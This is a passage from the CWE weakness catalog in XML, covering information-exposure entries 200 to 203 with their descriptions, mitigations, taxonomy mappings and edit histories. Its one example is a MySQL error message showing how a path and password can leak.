					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Demonstrative_Examples, Description, Likelihood_of_Exploit, Name,
						Observed_Examples, Other_Notes, Potential_Mitigations, References,
						Relationship_Notes, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Maintenance_Notes, Modes_of_Introduction, Observed_Examples, Relationships,
						Research_Gaps, Terminology_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples,
						Detection_Factors</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Detection_Factors, Potential_Mitigations,
						References, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, Research_Gaps,
						Terminology_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References,
						Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Insufficient Input
						Validation</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="200" Name="Information Exposure" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>An information exposure is the intentional or unintentional
					disclosure of information to an actor that is not explicitly authorized to have
					access to that information.</Description_Summary>
				        <Extended_Description>
					          <Text>The information either</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>is regarded as sensitive within the product's own functionality, such
							as a private message; or</Text>
						            <Text>provides information about the product or its environment that could
							be useful in an attack but is normally not available to the attacker,
							such as the installation path of a product that is remotely
							accessible.</Text>
					          </Block>
					          <Text>Many information exposures are resultant (e.g. PHP script error revealing
						the full path of the program), but they can also be primary (e.g. timing
						discrepancies in cryptography). There are many different types of problems
						that involve information exposures. Their severity can range widely
						depending on the type of information that is revealed.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>199</Relationship_Target_ID>
					          <!--Information Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>717</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>840</Relationship_Target_ID>
					          <!--Business Logic Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Information Disclosure</Term>
					          <Alternate_Term_Description>
						            <Text>This term is frequently used in vulnerability databases and other
							sources, however "disclosure" does not always have security
							implications. The phrase "information disclosure" is also used
							frequently in policies and legal documents, but do not refer to
							disclosure of security-relevant information.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>Information Leak</Term>
					          <Alternate_Term_Description>
						            <Text>This is a frequently used term, however the "leak" term has multiple
							uses within security. In some cases it deals with exposure of
							information, but in other cases (such as "memory leak") this deals with
							improper tracking of resources which can lead to exhaustion. As a
							result, CWE is actively avoiding usage of the "leak" term.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-46">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Compartmentalize the system to have "safe" areas where trust
							boundaries can be unambiguously drawn. Do not allow sensitive data to go
							outside of the trust boundary and always be careful when interfacing
							with a compartment outside of the safe area.</Text>
						            <Text>Ensure that appropriate compartmentalization is built into the system
							design and that the compartmentalization serves to allow for and further
							reinforce privilege separation functionality. Architects and designers
							should rely on the principle of least privilege to decide when it is
							appropriate to use and to drop system privileges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Information Leak (information disclosure)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Information Leakage and Improper Error
						Handling</Mapped_Node_Name>
					          <Mapped_Node_ID>A6</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Information Leakage </Mapped_Node_Name>
					          <Mapped_Node_ID>13</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>13</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>169</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>22</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>281</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>472</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>59</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>60</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>79</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Likelihood_of_Exploit, Relationships,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Description,
						Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-12-28">Information Leak (Information
						Disclosure)</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="201" Name="Information Exposure Through Sent Data" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The accidental exposure of sensitive information through sent
					data refers to the transmission of data which are either sensitive in and of
					itself or useful in the further exploitation of the system through standard data
					channels.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>209</Relationship_Target_ID>
					          <!--Information Exposure Through an Error Message-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>202</Relationship_Target_ID>
					          <!--Exposure of Sensitive Data Through Data Queries-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Sensitive data may be exposed to attackers.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Requirements specification: Specify data output such that no sensitive
							data is sent.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that any possibly sensitive data specified in the requirements
							is verified with designers to ensure that it is either a calculated risk
							or mitigated elsewhere. Any information that is not necessary to the
							functionality should be removed in order to lower both the overhead and
							the possibility of security sensitive data being sent.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Setup default error message to handle unexpected errors.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-46">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Compartmentalize the system to have "safe" areas where trust
							boundaries can be unambiguously drawn. Do not allow sensitive data to go
							outside of the trust boundary and always be careful when interfacing
							with a compartment outside of the safe area.</Text>
						            <Text>Ensure that appropriate compartmentalization is built into the system
							design and that the compartmentalization serves to allow for and further
							reinforce privilege separation functionality. Architects and designers
							should rely on the principle of least privilege to decide when it is
							appropriate to use and to drop system privileges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following is an actual mysql error statement:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Result">
							              <Code_Example_Language>SQL</Code_Example_Language>
							              <Code>Warning: mysql_pconnect(): Access denied for user:
								'root@localhost' (Using password: N1nj4) in
								/usr/local/www/wi-data/includes/database.inc on line 4</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Accidental leaking of sensitive information through sent
						data</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>12</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-09-27">Information Leak Through Sent
						Data</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="202" Name="Exposure of Sensitive Data Through Data Queries" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>When trying to keep information confidential, an attacker can
					often infer some of the information by using statistics.</Description_Summary>
				        <Extended_Description>
					          <Text>In situations where data should not be tied to individual users, but a
						large number of users should be able to make queries that "scrub" the
						identity of users, it may be possible to get information about a user --
						e.g., by specifying search terms that are known to be unique to that
						user.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>359</Relationship_Target_ID>
					          <!--Privacy Violation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Sensitive information may possibly be leaked through data queries
							accidentally.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>This is a complex topic. See the book Translucent Databases for a good
							discussion of best practices.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>See the book Translucent Databases for examples.</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Accidental leaking of sensitive information through data
						queries</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>169</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Information Leak Through Data
						Queries</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Privacy Leak through Data
						Queries</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="203" Name="Information Exposure Through Discrepancy" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The product behaves differently or sends different responses in
					a way that exposes security-relevant information about the state of the product,
					such as whether a particular operation was successful or
					not.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>717</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>728</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A7 - Improper Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
